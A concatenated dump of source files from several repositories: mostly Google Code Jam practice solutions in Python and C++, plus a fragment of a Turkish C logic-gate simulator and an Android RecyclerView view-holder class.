degerler[tut]=itoa(f,degerler[tut],2);
if(say==0) { say=1; }
else { say=0; }
printf("2 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"2 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi3[5],"3")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi3[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi3[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi3[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi3[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi3[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi3[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi3[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi3[0],"OR")==0) f= OR(d,e);
//printf("Deger 2 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
if(say==0) { say=1; }
else { say=0; }
printf("3 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
// fprintf(dosya_yaz,"3 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
if(strcmp(kapi3[5],"4")==0){
for (int j=0; degerler[j]!='\0'; j++ ){
if(strcmp(kapi3[3],degerler[j])==0){
//printf("\nGiris 1 = %s \n",degerler[j+1]);
d = atoi(degerler[j+1]);
}
if(strcmp(kapi3[4],degerler[j])==0){
//printf("\nGiris 2 = %s \n",degerler[j+1]);
e = atoi(degerler[j+1]);
}
if(strcmp(kapi3[2],degerler[j])==0){
// printf("\nCikis 1 = %s \n",degerler[j+1]);
f = atoi(degerler[j+1]);
tut =j+1;
}
}
if (strcmp(kapi3[0],"NAND")==0) f= NAND(d,e);
if (strcmp(kapi3[0],"NOR")==0) f= NOR(d,e);
if (strcmp(kapi3[0],"XOR")==0) f= XOR(d,e);
if (strcmp(kapi3[0],"AND")==0) f= AND(d,e);
if (strcmp(kapi3[0],"OR")==0) f= OR(d,e);
//printf("Deger 2 = %d \n" ,f);
degerler[tut]=itoa(f,degerler[tut],2);
if(say==0) { say=1; }
else { say=0; }
printf("4 ns: %s %d -> %s \n",degerler[tut-1],say,degerler[tut]);
//fprintf(dosya_yaz,"4 ns: %s %d -> %s %s\n",degerler[tut-1],say,degerler[tut],asctime(zaman_bilgisi));
}
//fclose(dosya_yaz);
}
}
void Komut (){
printf("<NAME>\n");
int i=0;
/// DOSYA OKUYUP EKRANA YAZMA ///
char dizi[1000];
//char *dizi2[1000];
FILE *ptDosya;
char ch;
int k=0;
const char s[2] = "\t";
char *token;
//char *a[1000];
ptDosya = fopen("../rpolab2/devre2-parcali/komut.txt", "r+");
do{
ch = getc(ptDosya);
//printf("%c", ch);
dizi[i]=ch;
//printf("\n%c",dizi[i]);
i++;
}
while (ch != EOF);
// printf("\n\ndosya sonuna gelindi, okuma islemi bitti!!\n");
fclose(ptDosya);
token = strtok(dizi, s);
while( token != NULL )
{
// printf(" %s\n", token );
komut[k]=token;
//printf("%s\n",dizi[k]);
token = strtok(NULL, s);
k++;
}
for (int i=0; komut[i]!='\0';i++ ){
if (strcmp(komut[i],"y")==0) yukle();
if (strcmp(komut[i],"i")==0) ilklendir();
if (strcmp(komut[i],"h")==0) Lojik1H(komut[i+1]);
if (strcmp(komut[i],"l")==0) Lojik1L(komut[i+1]);
if (strcmp(komut[i],"g")==0) GalGoster(komut[i+1]);
if (strcmp(komut[i],"u")==0) GalTumGoster();
if (strcmp(komut[i],"s")==0) simule();
if (strcmp(komut[i],"c")==0) exit(0);
}
}
void XOR (int a, int b){
printf("%d",a);
printf("%d",b);
int c=0;
if (a==b) c=0;
else c=1;
return c;
}
void AND (int a, int b){
int c=0;
if (a==1 && b==1) c=1;
else c=0;
return c;
}
void OR (int a, int b){
int c=0;
if (a==0 && b==0) c=0;
else c=1;
return c;
}
void NAND (int a, int b){
int c=0;
if (a==1 && b==1) c=0;
else c=1;
return c;
}
void NOR (int a, int b){
int c=0;
if (a==1 && b==1) c=1;
else c=0;
return c;
}
void NOT(int a){
int c=0;
if (a==0 ) c=1;
else if (a==1) c=0;
return c;
}
| b24801fdd4e89241afcbe7e3efb7a7ae17d59bf4 | [
"C"
] | 2 | C | SilaSecgin/prolab1.2 | df15674a55407ef10a886675d387fa05b0b45202 | 43389c273b92465cb434ba6abccea4283b591d54 |
refs/heads/master | <file_sep>package com.example.tacademy.samplerecylersectionlist;
import android.support.v7.widget.RecyclerView;
import android.view.View;
import android.widget.TextView;
/**
* Created by Tacademy on 2016-01-19.
*/
public class SectionHeaderViewHolder extends RecyclerView.ViewHolder{
TextView titleView;
public SectionHeaderViewHolder(View itemView) {
super(itemView);
titleView = (TextView)itemView.findViewById(R.id.text_title);
}
public void setGroupItem(GroupItem item){
titleView.setText(item.groupName);
}
}
| e3e3807930787ca2d8034d09d1220652a6128f3c | [
"Java"
] | 1 | Java | lockandlock1/SampleRecylerSectionList | d7d860d94372d3c91f3dc5aa639659deb272a058 | 322670cd7d89499edc01c9b5227f82820eb8e2ff |
refs/heads/master | <file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
A = [1, 0, 0, 0]
I = [0, 1, 0, 0]
J = [0, 0, 1, 0]
K = [0, 0, 0, 1]
def negate(a):
a = a[:]
for i in range(4):
a[i] *= -1
return a;
def multiply(a, b): # return = a*b
return [a[0] * b[0] - a[1] * b[1] - a[2] * b[2] - a[3] * b[3],
a[0] * b[1] + a[1] * b[0] + a[2] * b[3] - a[3] * b[2],
a[0] * b[2] + a[2] * b[0] + a[3] * b[1] - a[1] * b[3],
a[0] * b[3] + a[1] * b[2] - a[2] * b[1] + a[3] * b[0]]
def solve(word):
toReturn = A
for letter in word:
if letter=='i':
toReturn = multiply(toReturn, I)
if letter=='j':
toReturn = multiply(toReturn, J)
if letter=='k':
toReturn = multiply(toReturn, K)
return toReturn
# a = the number you want to remove from the front
# b = the number to remove from
# return = b after a is removed
def pulloff(a,b): # b = a * return
for test in [A, I, J, K]:
if multiply(a, test) == b:
return test
if multiply(a, negate(test)) == b:
return negate(test)
assert(False)
for t in range(1,int(lines.pop(0))+1):
print t
L, X = map(int, lines.pop(0).split(' '))
line = lines.pop(0);
line *= X
if len(line)<3 or solve(line) != negate(A):
output.write("Case #%i: %s\n"%(t, "NO" ))
continue
solved = False
for second_pos in range(1, L*X-1):
reset = True;
for third_pos in range(second_pos, L*X):
if (solve(line[:second_pos]) == [0,1,0,0] and solve(line[second_pos:third_pos])==[0,0,1,0] and solve(line[third_pos:])==[0,0,0,1]) :
output.write("Case #%i: %s\n"%(t, "YES" ))
solved = True
continue
if not solved:
output.write("Case #%i: %s\n"%(t, "NO" ))
output.close()
<file_sep># drummer2322
# GCJ <year> <round>
# <date>
from itertools import product
lines = [line.strip() for line in open('large_input.in')];
output = open('large_output.out','w')
directions = ['N','S','E','W']
for t in range(1,int(lines.pop(0))+1):
print t
#read input
X,Y = map(int,lines.pop(0).split())
Z = abs(X)+abs(Y)
#N is the total traversal of the minimum number of jumps (building)
N = 0
#I is the minimum number of jumps (building)
I = 0
#build I and N
while Z>N or (N-Z)%2==1:
I+=1
N+=I
#I AND N ARE BUILT
xPos = 0
yPos = 0
neg = (N-Z)/2
answer = ""
for i in range(1,I+1)[::-1]:
if i <= neg:
neg -= i;
if Y>0:
answer += 'S'
yPos-=i
else:
answer += 'N'
yPos+=i
elif i<=abs(X-xPos):
if X>0:
xPos+=i;
answer += 'E'
else:
xPos-=i;
answer += 'W'
else:
if Y>0:
answer += 'N'
yPos+=i;
else:
answer += 'S'
yPos-=i;
if X!=xPos or Y!=yPos:
xPos = 0
yPos = 0
neg = (N-Z)/2
answer = ""
for i in range(1,I+1)[::-1]:
if i <= neg:
neg -= i;
if X>0:
answer += 'W'
xPos-=i
else:
answer += 'E'
xPos+=i
elif i<=abs(Y-yPos):
if Y>0:
yPos+=i;
answer += 'N'
else:
yPos-=i;
answer += 'S'
else:
if X>0:
answer += 'E'
xPos+=i;
else:
answer += 'W'
xPos-=i;
assert X==xPos
assert Y==yPos
output.write("Case #%i: %s\n"%(t, answer[::-1]))
output.close()
<file_sep># drummer2322
# GCJ <year> <round>
# <date>
import operator
lines = [line.strip() for line in open('large_input.in')];
output = open('large_output.out','w')
def prod(iterable):
return reduce(operator.mul, iterable, 1)
for t in range(1,int(lines.pop(0))+1):
print "CASE",t
keys_entered, password_length = map(int,lines.pop(0).split())
key_chances = map(float,lines.pop(0).split())
reverse_key_chances = key_chances[::-1]
product = prod(key_chances);
expected = 2+password_length
running_probability = 1;
for i, chance in enumerate(key_chances):
running_probability*=chance;
strokes_if_right = 2*(keys_entered-i-1)+password_length - keys_entered+1
strokes_if_wrong = strokes_if_right + password_length + 1
new_expected = strokes_if_right*running_probability + strokes_if_wrong*(1 - running_probability)
expected=min(expected,new_expected)
# print "NEW", new_expected
# print "Best", expected
# print t, i
output.write("Case #%i: %s\n"%(t, expected ))
output.close()<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
from math import floor
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
for t in range(1,int(lines.pop(0))+1):
print t
power = int(lines.pop(0))
base = 3.0 + 5.0**.5
number = 1.0;
for i in range(power):
number *= base
number = number % 1000;
number = str(int(floor(number) % 1000))
number = "0"*(3-len(number)) + number
output.write("Case #%i: %s\n"%(t, number ))
output.close()
<file_sep>def opp(x):
return (x+1)%2
def solve(casenum, inlist):
inlist.pop(0)
pos=[1,1]
time=0
waitingOn = 0
queue = []
while len(inlist) > 0:
queue.append((1 if inlist.pop(0)=='O' else 0, int(inlist.pop(0))))
primary = queue.pop(0)
while len(queue) > 0:
waitingOn = primary[0]
primetime = abs(primary[1] - pos[waitingOn]) + 1
pos[waitingOn]=primary[1]
while (len(queue) > 0 and queue[0][0] == waitingOn):
primary=queue.pop(0)
primetime += abs(primary[1] - pos[waitingOn]) + 1
pos[waitingOn]=primary[1]
if (len(queue)>0):
secondary = queue.pop(0)
if primetime >= abs(pos[opp(waitingOn)] - secondary[1]):
pos[opp(waitingOn)] = secondary[1]
else:
pos[opp(waitingOn)] = secondary[1] - (abs(pos[opp(waitingOn)] - secondary[1])) + primetime
primary = secondary
time+=primetime
else:
time+=primetime
print "Case #%d: %d"%(casenum, time)
return
waitingOn = primary[0]
time += abs(primary[1] - pos[waitingOn]) + 1
print "Case #%d: %d"%(casenum, time)
return
infile = open("input.txt")
T =int(infile.readline().strip())
for t in range(1, T+1):
solve(t, infile.readline().split(' '))
<file_sep>def solve(caseNum, inN, inP, inR, inS):
results = []
for i in range(3):
left = [inP, inR, inS]
if left[i] == 0:
continue
building = [i]
left[i] -= 1
result = bottomLayer(inN-1, building, left)
if result != "NONE":
results.append(result)
results=map(minimize,results)
if len(results)>0:
print "Case #%d: %s"%(caseNum, min(results))
else:
print "Case #%d: IMPOSSIBLE"%(caseNum)
def minimize(theString):
length = len(theString)
if length <= 1:
return theString
a = minimize(theString[:length/2])
b = minimize(theString[length/2:])
if a<b:
return a+b
else:
return b+a
def bottomLayer(layersTillBottom, building, left):
for i in xrange(len(building)):
if not left[(building[i]+1)%3] > 0:
return "NONE"
left[(building[2*i]+1)%3] -= 1
building.insert(i*2+1, (building[i]+1)%3)
if layersTillBottom == 0:
toReturn = ""
ref = ["R","P","S"]
for i in xrange(len(building)):
toReturn += ref[building[i]]
return toReturn
else:
return bottomLayer(layersTillBottom-1, building, left)
infile = open("input.in")
T = int(infile.readline())
for t in xrange(1, T+1):
N,P,R,S = map(int, infile.readline().split(" "))
solve(t,N,P,R,S)
<file_sep>lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
for t in range(1,int(lines.pop(0))+1):
E, R, N = map(int,lines.pop(0).split())
V = map(int,lines.pop(0).split())
gain =0;
energy = E;
for i in range(len(V)):
v = V[i];
distanceFromHigher = 0
for j in range(len(V[i+1:])):
k=V[i+1:][j]
if v<k:
distanceFromHigher = j+1;
break
if distanceFromHigher==0:
optimalSpend = energy;
else :
optimalSpend = min(R*distanceFromHigher-E+energy,energy)
if optimalSpend<0 :
optimalSpend = 0
# print "Value of (%s): spend: %s of %s"%(v,optimalSpend,energy)
energy -= optimalSpend-R
gain += optimalSpend*v
energy = min(energy,E)
output.write("Case #%i: %i\n"%(t, gain))
output.close()<file_sep>#!/usr/bin/env python3
# Round 1C 2012
import sys
from fractions import Fraction
from math import sqrt
line = sys.stdin.readline()
fields = line.split()
assert len(fields) == 1
ntc = int(fields[0])
def solve(d, a, other_car):
wait_time = Fraction(0)
first = True
for time, distance in other_car:
if distance > d:
if first:
break
time = last_time + (time - last_time) * (d - last_distance) / (distance - last_distance)
distance = d
first = False
arrival_time = sqrt(2 * distance / a)
if arrival_time < time:
cur_wait_time = time - arrival_time
else:
cur_wait_time = Fraction(0)
if cur_wait_time > wait_time:
wait_time = cur_wait_time
last_time, last_distance = time, distance
arrival_time = sqrt(2 * d / a)
return wait_time + arrival_time
for tc in range(1, ntc + 1):
line = sys.stdin.readline()
fields = line.split()
assert len(fields) == 3
d = Fraction(fields[0])
n = int(fields[1])
a = int(fields[2])
other_car = []
for _ in range(n):
line = sys.stdin.readline()
fields = line.split()
assert len(fields) == 2
time = Fraction(fields[0])
distance = Fraction(fields[1])
other_car.append((time, distance))
line = sys.stdin.readline()
fields = line.split()
assert len(fields) == a
print('Case #{0}:'.format(tc))
for i in range(a):
accel = Fraction(fields[i])
ans = solve(d, accel, other_car)
print(ans)
<file_sep>#include <iostream>
int main()
{
int number_of_cases;
std::cin >> number_of_cases;
std::cin.ignore();
for (int case_number=1; case_number<=number_of_cases; case_number++) {
std::cerr << case_number << std::endl;
int amount_of_money;
int number_of_store_items;
std::cin >> amount_of_money;
std::cin.ignore();
std::cin >> number_of_store_items;
std::cin.ignore();
int *store_items;
store_items = new int [number_of_store_items];
for (int store_item_number=0; store_item_number<number_of_store_items; store_item_number++) {
std::cin >> store_items[store_item_number];
}
std::cin.ignore();
for (int i=0; i<number_of_store_items; i++) {
for (int j=i+1; j<number_of_store_items; j++) {
if (store_items[i] + store_items[j] == amount_of_money) {
std::cout << "Case #" << case_number << ": " << i+1 << " " << j+1 << std::endl;
goto ending;
}
}
}
std::cerr << "FAIL" << std::endl;
ending:;
}
return 0;
}
<file_sep>/*
drummer2322
<EMAIL>
GCJ <year> <round> <problem>
<date>
Status: can be optimized by swithing vector to map
*/
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
int main ()
{
int L, D, N;
std::cin >> L;
std::cin >> D;
std::cin >> N;
std::cin.ignore();
std::string dictionary [D];
for (int i=0; i<D; i++) {
std::getline(std::cin, dictionary[i]);
}
for (int tt=1; tt<=N; tt++) {
std::cerr << tt << std::endl;
std::string case_word;
std::getline(std::cin, case_word);
int current_letter = 0;
std::vector <int> invalid_indexes;
while (case_word.length() > 0) {
std::vector <char> required_letters;
if (case_word[0] != '(') {
required_letters.push_back(case_word[0]);
case_word.erase(case_word.begin());
}
else {
std::string::iterator closing_parenthesis = std::find(case_word.begin(), case_word.end(), ')');
std::string::iterator p = case_word.begin()+1;
while (p != closing_parenthesis) {
required_letters.push_back(*(p++));
}
case_word.erase(case_word.begin(), closing_parenthesis+1);
}
for (int dictionary_word=0; dictionary_word<D; dictionary_word++) {
if (std::find(invalid_indexes.begin(), invalid_indexes.end(), dictionary_word) != invalid_indexes.end()) {
continue;
}
if (std::find(required_letters.begin(), required_letters.end(), dictionary[dictionary_word][current_letter]) == required_letters.end()) {
invalid_indexes.push_back(dictionary_word);
}
}
current_letter++;
}
std::cout << "Case #" << tt << ": " << D - invalid_indexes.size() << std::endl;
}
}
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
examples = [line[:-1] for line in open('examples.in')]
output = open(type_of_case+'output.out','w')
mapping = {'z':'q', 'y':'a', 'e':'o', 'q':'z'}
for t in range(int(examples.pop(0))):
original = examples.pop(0)
new = examples.pop(0)
for i in range(len(original)):
mapping[new[i]] = original[i]
for item in mapping:
print item + " " + mapping[item]
print len(mapping)
for t in range(1,int(lines.pop(0))+1):
print t
encoded = lines.pop(0)
answer = ""
for letter in encoded:
answer+=mapping[letter]
output.write("Case #%i: %s\n"%(t, answer ))
output.close()
<file_sep># drummer2322
# <EMAIL>
# GCJ 2012 1C B
# 9 Jun 2014
# UNFINISHED -- NEEDS TO BE CLEANED
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w')
for t in range(1,int(lines.pop(0))+1):
print t;
output.write("Case #%i:\n"%(t))
house_location, number_of_points, number_of_accerations = lines.pop(0).split()
house_location = float(house_location)
number_of_points = int(number_of_points)
number_of_accerations = int(number_of_accerations)
points=[]
for i in range(number_of_points):
point = map(float, lines.pop(0).split())
points.append(point)
print points
accerations=map(float, lines.pop(0).split())
for car_acceration in accerations:
previous_time = 0.;
car_position = 0.;
car_velocity = 0.;
first = True;
for point in points[1:]:
#print "At time", previous_time, "position is", car_position, "velocity is", car_velocity
endtime = point[0]
endpoint = point[1]
if endpoint > house_location:
if first:
previous_time = 2 * endpoint / car_acceration
car_position = house_location
break
endtime = (endtime-previous_time)/(endpoint-car_position) * (house_location-car_position) + previous_time
endpoint = house_location
time_difference = endtime-previous_time
freefall_position = car_position + car_velocity*time_difference + 0.5*car_acceration*time_difference**2
if freefall_position > endpoint:
car_velocity = float((endpoint-car_position)/(time_difference))
#if first:
#car_velocity = (2 * endpoint / car_acceration) ** 0.5 * car_acceration
car_position = float(endpoint)
else:
car_velocity=car_velocity + (car_acceration*time_difference)
car_position=freefall_position
previous_time = float(endtime)
first = False
if endpoint == house_location:
break
additional_time = ((car_velocity**2 + 2*car_acceration*(house_location-car_position))**(.5) - car_velocity) / car_acceration
print "previous_time:", previous_time
print "additional_time:", additional_time
total_time = previous_time + additional_time
print "total_time:", total_time
output.write(str(total_time)+"\n");
output.close()
<file_sep># drummer2322
# GCJ <year> <round>
# <date>
lines = [line.strip() for line in open('large_input.in')];
output = open('large_output.out','w')
for t in range(1,int(lines.pop(0))+1):
number_of_levels = int(lines.pop(0))
levels = []
for i in range(number_of_levels):
levels.append(map(int,lines.pop(0).split()))
levels.sort(key = lambda x:-x[1])
number_of_stars = 0
number_of_plays = 0
still_looking =True
part_to_check = 2
completed_levels = [[],[]]
while still_looking:
for index, level in enumerate(levels):
if number_of_stars >= level[part_to_check-1] and not index in completed_levels[part_to_check-1]:
number_of_plays += 1
number_of_stars += part_to_check
if index in completed_levels[0]:
number_of_stars -= 1
for i in range(part_to_check):
if not index in completed_levels[i]:
completed_levels[i].append(index)
part_to_check = 2
break
else:
if part_to_check==2:
part_to_check = 1
else:
break
if not sorted(completed_levels[1]) == range(number_of_levels):
number_of_plays = "Too Bad"
output.write("Case #%i: %s\n"%(t, number_of_plays ))
output.close()<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round> <problem>
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
keyboard = [' ', 'abc','def','ghi','jkl','mno','pqrs','tuv','wxyz']
for t in range(1,int(lines.pop(0))+1):
print t
message = lines.pop(0);
keypresses = []
for letter in message:
for i, button in enumerate(keyboard):
for j, button_letter in enumerate(button):
if letter==button_letter:
if keypresses!=[] and keypresses[-1]==str(i+1):
keypresses.append(' ')
keypresses += [str(i+1)]*(j+1)
for i in keypresses:
if keypresses[i]=='1':
keypresses[i]='0'
output.write("Case #%i: %s\n"%(t, ''.join(keypresses)))
output.close()
<file_sep>def solve(caseNum, contents):
result = 0
for i in range(len(contents)-1):
if contents[i]!=contents[i+1]:
result+=1
if not contents[len(contents)-1]:
result+=1
print "Case #%d: %d"%(caseNum, result)
infile = open("input.in", 'r')
T = int(infile.readline())
for t in range(1, T+1):
intext = infile.readline()
contents = []
for inchar in intext:
if inchar == "+":
contents.append(True)
elif inchar == "-":
contents.append(False)
solve(t, contents)
<file_sep># drummer2322
# <EMAIL>
# GCJ APAC Round:A Problem:A
# 18 Jan 2015
#UNKNOWN BUG
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line[:-1] for line in open(type_of_case+'input.in')]
output = open(type_of_case+'output.out','w')
numbers = ["1111110", "0110000", "1101101", "1111001", "0110011", "1011011", "1011111", "1110000", "1111111", "1111011"]
segments = "ABCDEFG"
for t in range(1,int(lines.pop(0))+1):
print t
allinfo = lines.pop(0).split()
numberOfStates = int(allinfo[0])
states = allinfo[1:] #all states passed from input
validStarts = range(10);
#for i in range(min(10, numberOfStates)):
# assert(len(validStarts)>0)
# impossibleStartStates = [];
# for start in validStarts:
# for segment in range(7):
# if states[i][segment] == "1" and numbers[start-i][segment] == "0":
# impossibleStartStates.append(start);
# print "impossible:", str(start-i)
# break
# for impossibleStartState in impossibleStartStates:
# validStarts.remove(impossibleStartState)
for start in validStarts[:]:
badStart = False;
for i in range(min(10, numberOfStates)):
for segment in range(7):
if states[i][segment] == "1" and numbers[start-i][segment] == "0":
validStarts.remove(start)
badStart = True;
print "impossible:", str(start-i), "\t segment:", segments[segment], "\tpattern:", states[i]
break
if badStart:
break
assert(len(validStarts) > 0)
if len(validStarts) > 1:
output.write("Case #%i: ERROR!\n"%(t))
continue;
assert(len(validStarts) == 1)
validStart = validStarts[0]
segmentOperationality = ["1"] * 7;
for i in range(min(10, numberOfStates)):
for segment in range(7):
if states[i][segment] == "0" and numbers[validStart-i][segment] == "1":
segmentOperationality[segment] = "0"
display = "";
for i in range(7):
if numbers[validStart-(numberOfStates%10)][i] == "0" or segmentOperationality[i] == "0":
display += "0"
else:
display += "1"
output.write("Case #%i: %s\n"%(t, display))
output.close()
<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round<
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w')
for t in range(1,int(lines.pop(0))+1):
print t
num_existing_conditions, num_needed_conditions = map(int, lines.pop(0).split())
existing = set([])
counter = 0
for i in range(num_existing_conditions):
condition = lines.pop(0).split("/")[1:]
for j in range(1, len(condition)):
if not '/'.join(condition[:j]) in existing:
existing.add('/'.join(condition[:j]))
if not '/'.join(condition[:]) in existing:
existing.add('/'.join(condition[:]))
for i in range(num_needed_conditions):
condition = lines.pop(0).split("/")[1:]
for j in range(1, len(condition)):
if not '/'.join(condition[:j]) in existing:
existing.add('/'.join(condition[:j]))
counter+=1
if not '/'.join(condition[:]) in existing:
counter+=1
existing.add('/'.join(condition[:]))
output.write("Case #%i: %s\n"%(t, counter))
output.close()
<file_sep>from sys import argv
import math
import itertools
filename, inputfilename, outputfilename = argv
lines = [line.strip() for line in open(inputfilename)];
output = open(outputfilename,'w')
for t in range(1,int(lines.pop(0))+1):
print t
N, X, Y = map(int, lines.pop(0).split());
if X<0:
X=X*-1
row = (X+Y)/2 #starting with 0 at increments of one
numberUpSide=row*2 #not including top
impossibles= (numberUpSide**2 - numberUpSide)/2
if X==0:
impossibles = impossibles+numberUpSide*2
if N> impossibles:
percent=1.0
output.write("Case #%i: %s\n"%(t, str(percent)))
continue
else:
percent =0.0
output.write("Case #%i: %s\n"%(t, str(percent)))
continue
if impossibles>=N:
percent = 0.0
output.write("Case #%i: %s\n"%(t, str(percent)))
continue
numberToFill = (numberUpSide+1)*(numberUpSide+2)/2
if N>=numberToFill:
percent = 1.0
output.write("Case #%i: %s\n"%(t, str(percent)))
continue
extras = int(N-impossibles)
# if extras>(numberUpSide)*2 :
# print "ERROR",t #This line is being reached -- tofix
allpossibilties = list(itertools.product((0,1), repeat = extras))
newpossibles=[]
for i, possible in enumerate(allpossibilties):
print possible
if not (possible.count(0)>numberUpSide or possible.count(1)>numberUpSide):
newpossibles.append(possible)
count =0
for possible in newpossibles:
if possible.count(0)>Y:
count+=1
print row, count, "out of", len(newpossibles), extras
print newpossibles
percent=float(count)/len(newpossibles);
output.write("Case #%i: %s\n"%(t, str(percent)))
output.close()
<file_sep>lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
for case in range(int(lines.pop(0))):
theinput = lines.pop(0);
cost, farmyield, goal = map(float, theinput.split());
stillLooking = True
currentamount = 0.0;
rate = 2.0
time=0.0;
while stillLooking:
timetillend = (goal-currentamount)/rate;
timetillpurchase = (cost-currentamount)/rate;
timeafterpurchase = goal/(rate+farmyield);
if (timeafterpurchase+timetillpurchase)<timetillend :
time=time+timetillpurchase;
currentamount=currentamount + rate*timetillpurchase;
currentamount=currentamount-cost
rate = rate+farmyield;
else:
time=time+timetillend;
stillLooking=False;
output.write("Case #%s: %s\n"%(case+1,time))
output.close()
<file_sep>infile = open("input.txt",'r')
fileline = [line for line in infile.readlines()]
def solve(t):
R, C = map(int, fileline.pop(0).split())
grid=[]
for r in range(R):
grid.append(list(fileline.pop(0)))
count = 0;
for i in range(R):
for j in range(C):
bad = True;
if grid[i][j] =='^':
for I in range(0,i):
if grid[I][j] != ".":
bad = False
if grid[i][j] =='v':
for I in range(i+1,R):
if grid[I][j] != ".":
bad = False
if grid[i][j] =='>':
for J in range(j+1,C):
if grid[i][J] != ".":
bad = False
if grid[i][j] =='<':
for J in range(0,j):
if grid[i][J] != ".":
bad = False
if grid[i][j] =='.':
bad = False;
if bad:
count+=1;
print("Case #%d: %d"%(t,count));
T = int(fileline.pop(0))
for t in range(1, T+1):
solve(t)
<file_sep>// drummer2322
// <EMAIL>
// GCJ <year> <round> <problem>
// <date>
#include <iostream>
#include <set>
#include <cstring>
#include <cstdio>
int main ()
{
int T, tt, N, num;
std::cin >> T;
for (tt = 1; tt <= T; tt++) {
std::cerr << tt << std::endl;
std::cin >> N;
num = N;
bool digits[10] = {false};
bool done=false;
for (int i=1; i<100001; i++) {
char number[100];
sprintf(number, "%d", N*i);
for (size_t j=0; j<strlen(number); j++) {
digits[number[j] - '0'] = true;
}
done = false;
for (int j=0; j<10; j++) {
if (!digits[j]) {
done = true;
break;
}
}
if (!done) {
std::cout << "Case #" << tt << ": " << i*N << std::endl;
done = true;
break;
}
done = false;
}
if (!done) {
std::cout << "Case #" << tt << ": INSOMNIA" << std::endl;
}
}
}
<file_sep># dolphinigle
# GCJ 2013 1B
# 4 May 2013
lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
for t in range(1,int(lines.pop(0))+1):
my_mote, n = map(int, lines.pop(0).split())
motes = sorted(map(int, lines.pop(0).split()))
if my_mote == 1:
output.write("Case #%i: %i\n"%(t,n))
continue
best_answer = n
my_answer = 0
for index, i in enumerate(motes):
if i < my_mote:
my_mote += i
continue
# maybe stop here?
best_answer = min([best_answer, my_answer + n - index])
while my_mote <= i:
my_mote += my_mote - 1
my_answer += 1
my_mote += i
best_answer = min([best_answer, my_answer])
output.write("Case #%i: %i\n"%(t,best_answer))
output.close()<file_sep># drummer2322
# <EMAIL>
# GCJ <year> <round<
# <date>
from sys import argv
if len(argv) > 1:
type_of_case = argv[1]+'_'
else:
type_of_case = ''
def to_int(binary):
return int(str(binary),2)
def to_bin(integer):
return bin(integer)[2:]
lines = [line.strip() for line in open(type_of_case+'input.in')];
output = open(type_of_case+'output.out','w')
for t in range(1,int(lines.pop(0))+1):
#code goes here
output.write("Case #%i: %s\n"%(t, answer ))
output.close()<file_sep># drummer2322
# GCJ 2013 1B
# 15 APR 2014
from itertools import combinations as c
import string
def changeLetterAtIndex(index, stringToChange):
result = []
for letter in string.ascii_lowercse:
stringToChange[index] = letter;
result.append(stringToChange)
return result
lines = [line.strip() for line in open('input.in')];
output = open('output.out','w')
dictionary_words = [line.strip() for line in open('dictionary.txt')]
for t in range(1,int(lines.pop(0))+1):
S = lines.pop(0)
found_minimum = False;
minimum = 100000000
if S in dictionary_words:
output.write("Case #%i: %s\n"%(t, "0" ))
continue
while not found_minimum:
for number_of_altercations in range(1,len(S)):
print number_of_altercations
while not found_minimum:
for number_of_swaps in range(number_of_altercations+1):
print number_of_swaps
number_of_spaces = number_of_altercations - number_of_swaps
space_location_sets = c(range(1,len(S)),number_of_spaces);
while not found_minimum:
for space_locations in space_location_sets:
s1=S
for space_location in space_locations:
str(list(s1).insert(space_location, ' '))
swap_location_sets = c(range(len(s1)),number_of_swaps);
s2=s1
strings_to_apply_to = [s2]
for swap_locations in swap_location_sets:
result = []
for swap_location in swap_locations:
for string_to_apply_to in strings_to_apply_to:
result+=changeLetterAtIndex(swap_location,string_to_apply_to)
strings_to_apply_to = result
passesTest=True
for word in str(result).split():
if word not in dictionary_words:
passesTest=False
break
if passesTest:
found_minimum =True
minimum = number_of_altercations;
output.write("Case #%i: %i\n"%(t, minimum ))
output.close()<file_sep># drummer2322
# <EMAIL>
# GCJ 2014 1C B
#
